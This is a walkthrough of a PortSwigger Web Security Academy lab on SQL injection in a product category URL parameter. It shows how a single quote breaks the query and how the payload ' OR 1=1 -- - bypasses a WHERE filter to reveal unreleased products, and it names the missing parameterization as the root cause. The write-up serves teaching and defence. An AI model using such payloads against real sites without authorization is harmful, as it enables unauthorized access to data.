SQL Injection — WHERE Clause Filter Bypass¶
| Field | Value |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Vulnerability | SQL Injection — WHERE Clause Filter Bypass |
| Difficulty | Apprentice |
| Injection Point | category URL parameter |
| Goal | Return all products including unreleased ones |
Phase 1 — Reconnaissance¶
The application displays products filtered by category. When a category is selected, the URL changes to reflect the input:
/filter?category=Gifts
The category parameter is passed directly into a SQL query. The underlying query looks like this:
SELECT * FROM products WHERE category = 'Gifts' AND released = 1
The released = 1 condition filters out unreleased products from the results.
Phase 2 — Confirming Injection¶
Adding a single quote ' to the category value breaks the query:
/filter?category=Gifts'
The resulting broken query:
SELECT * FROM products WHERE category = 'Gifts'' AND released = 1
The stray quote creates a syntax error — confirming the parameter is injectable and not sanitized.
Phase 3 — Exploitation¶
Injecting ' OR 1=1 -- - causes the application to return all products, including unreleased ones:
/filter?category=Gifts' OR 1=1 -- -
The injected query becomes:
SELECT * FROM products WHERE category = 'Gifts' OR 1=1 -- -' AND released = 1
Everything after -- is treated as a comment and ignored by the database engine, so the effective query is:
SELECT * FROM products WHERE category = 'Gifts' OR 1=1
Since 1=1 is always true, the WHERE clause matches every row in the table — returning all products regardless of category or release status.
Understanding the Injection Point¶
This is the core concept of string injection: understanding where you are inside the query.
The application builds the query by inserting user input directly into a string:
... WHERE category = '[OUR INPUT HERE]' AND released = 1
The opening and closing quotes around our input are hardcoded by the application. When we type Gifts, it wraps it:
WHERE category = 'Gifts'
When we inject Gifts', our own ' closes the string early, leaving the application's hardcoded closing quote as a stray character that breaks the syntax:
-- Our ' closes the string here ↓
WHERE category = 'Gifts' ' AND released = 1
-- ↑ this stray quote breaks the syntax
By appending OR 1=1 -- -, we:
- Add a condition that is always true (
OR 1=1), overriding the category filter - Use
--to comment out everything that follows — including the stray'and theAND released = 1condition
SELECT * FROM products WHERE category = 'Gifts' OR 1=1 -- -' AND released = 1
-- ↑ everything after -- is ignored
The -- - syntax (double dash + space + extra dash) is used instead of plain -- because some web servers strip trailing spaces from URLs. The extra - ensures the comment sequence survives any stripping.
You inject the ' immediately after your input value because that is where you are inside the query. You are not modifying the end of the query — you are escaping out of the string the application opened for you, appending your own SQL logic, and discarding the rest with a comment.
Conclusion¶
- The
categoryURL parameter was passed unsanitized into a SQLWHEREclause. - Appending
'broke the query and confirmed injectable input. - Injecting
' OR 1=1 -- -closed the string, added an always-true condition, and commented out thereleased = 1filter. - The database returned all products from the table, including those with
released = 0.
The application was vulnerable because user-controlled input was concatenated directly into the SQL query without parameterization or escaping — the most fundamental SQL injection pattern.